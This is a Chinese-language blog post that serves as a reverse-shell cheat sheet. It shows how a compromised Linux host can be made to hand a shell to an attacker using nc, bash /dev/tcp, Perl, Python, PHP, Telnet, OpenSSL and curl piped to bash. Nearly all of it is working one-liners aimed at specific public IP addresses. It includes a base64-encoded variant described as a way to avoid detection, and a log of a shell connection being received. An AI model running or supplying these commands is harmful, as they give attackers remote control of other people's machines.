本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、NC(linux自带工具)
1.NC正向Shell(比较少用,黑客在公网,受害者在内网)
被控端:
nc -lvvp 6666 -e /bin/sh
控制端:
nc 10.10.1.7 6666
原 理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
2.NC反向Shell(一般都用这个,受害者主动连接黑客)
控制端:
nc -lvvp 6666
被控端:
nc -e /bin/sh 10.10.1.11 6666
原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

二、Bash(linux自带工具)
被控端:
bash -i >& /dev/tcp/47.101.214.85/6666 0>&1
控制端:
nc –lvvp 6666
变种(防止被发现):
被控端:
exec 5<>/dev/tcp/139.155.49.43/6666;cat <&5 | while read line; do $line 2>&5 >&5; done
控制端:
nc –lvvp 6666
base64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuMjE0Ljg1LzY2NjYgMD4mMQ==|base64 -d|bash -i"
三、Perl(脚本语言)–socket编程
只需将ip改为黑客ip就行
perl -e 'use Socket;$i="47.101.214.85";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"47.101.214.85:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


四、Curl(curl程序)
1.vps
root@VM-0-2-ubuntu:~# cat index.html
bash -i >& /dev/tcp/139.155.49.43/6666 0>&1
root@VM-0-2-ubuntu:~# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
47.101.214.85 - - [03/Dec/2020 09:21:39] "GET /index.html HTTP/1.1" 200 -
2.target
curl 139.155.49.43:8000|bash
或
curl http://139.155.49.43:8000/index.html|bash
3.测试结果
root@VM-0-2-ubuntu:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 47.101.214.85 46370 received!
root@iZuf6j06q5f1lZ:~#



五、Python(脚本语言)
Python一行命令反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.214.85",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

六、PHP(脚本语言)
PHP一行命令反弹shell
php -r '$sock=fsockopen("47.101.214.85",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
七、Telnet(远程连接工具)
攻击机:
nc -lvvp 5555
nc -lvvp 6666
目标机:
telnet 47.101.214.85 5555 | /bin/bash | telnet 47.101.214.85 6666
八、OpenSSL(工具)
openssl反弹443端口,流量加密传输
- 在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 在远程攻击主机上启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
- 在目标机上反弹shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.34.126.129:443 > /tmp/s
如果/tmp/s文件存在,删除
rm /tmp/s

